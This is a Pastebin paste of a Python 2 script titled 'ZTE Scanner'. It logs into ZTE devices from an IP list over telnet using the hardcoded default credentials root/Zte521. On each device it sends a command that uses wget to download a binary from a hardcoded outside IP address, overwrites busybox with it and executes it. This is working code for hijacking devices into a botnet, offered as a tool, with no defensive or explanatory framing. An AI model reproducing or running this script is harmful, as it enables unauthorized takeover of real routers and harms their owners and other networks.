Dr-L0v3

ZTE Scanner

Dec 21st, 2017
589
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.08 KB | None | 0 0
  1. #!/usr/bin/python
  2. # ZTE Scanner
  3. # Dr.L0v3
  4.  
  5. import threading, sys, time, random, socket, re, os
  6.  
  7. if len(sys.argv) < 2:
  8.         print "Usage: python "+sys.argv[0]+" <list>"
  9.         sys.exit()
  10.  
  11. ips = open(sys.argv[1], "r").readlines()
  12. username = "root"
  13. password = "Zte521"
  14. cmd = "cd /var/; rm -rf busybox filename; wget http://54.68.172.22/hoho -O filename ; cp /bin/busybox ./; busybox cat filename > busybox;./busybox ;rm -rf busybox filename" #KEEP FORMAT OF PAYLOAD
  15. #cmd = "reboot"
  16. count = 0
  17. def readUntil(tn, string, timeout=15):
  18.     buf = ''
  19.     start_time = time.time()
  20.     while time.time() - start_time < timeout:
  21.         buf += tn.recv(1024)
  22.         time.sleep(0.01)
  23.         if string in buf: return buf
  24.     raise Exception('TIMEOUT!')
  25.  
  26. class ztee(threading.Thread):
  27.         def __init__ (self, ip):
  28.             threading.Thread.__init__(self)
  29.             self.ip = str(ip).rstrip('\n')
  30.         def run(self):
  31.         try:
  32.             tn = socket.socket()
  33.             tn.settimeout(5)
  34.             tn.connect((self.ip,23))
  35.         except Exception:
  36.             print "[%s] Timeout"%(count)
  37.         try:
  38.             time.sleep(0.01)
  39.             hoho = ''
  40.             hoho += readUntil(tn, ":")
  41.             if "ogin" in hoho:
  42.                 tn.send(username + "\n")
  43.         except Exception:
  44.             tn.close()
  45.         try:
  46.             hoho = ''
  47.             hoho += readUntil(tn, ":")
  48.             if "assword" in hoho:
  49.                 tn.send(password + "\n")
  50.                 time.sleep(3)
  51.         except Exception:
  52.             tn.close()
  53.         try:
  54.             mp = ''
  55.             mp += tn.recv(1024)
  56.             if "#" in mp or "$" in mp:
  57.                 tn.send(cmd + "\n")
  58.                 print "\033[32m[%s] command sent %s!\033[37m"%(count, self.ip)
  59.                 time.sleep(30)
  60.                 tn.close()            
  61.         except Exception:
  62.             tn.close()
  63.             print "[%s] Timeout"%(count)
  64. for ip in ips:
  65.     try:
  66.         count += 1
  67.         t = ztee(ip)
  68.         t.start()
  69.         time.sleep(0.02)
  70.     except:
  71.         pass
Advertisement
Add Comment
Please, Sign In to add comment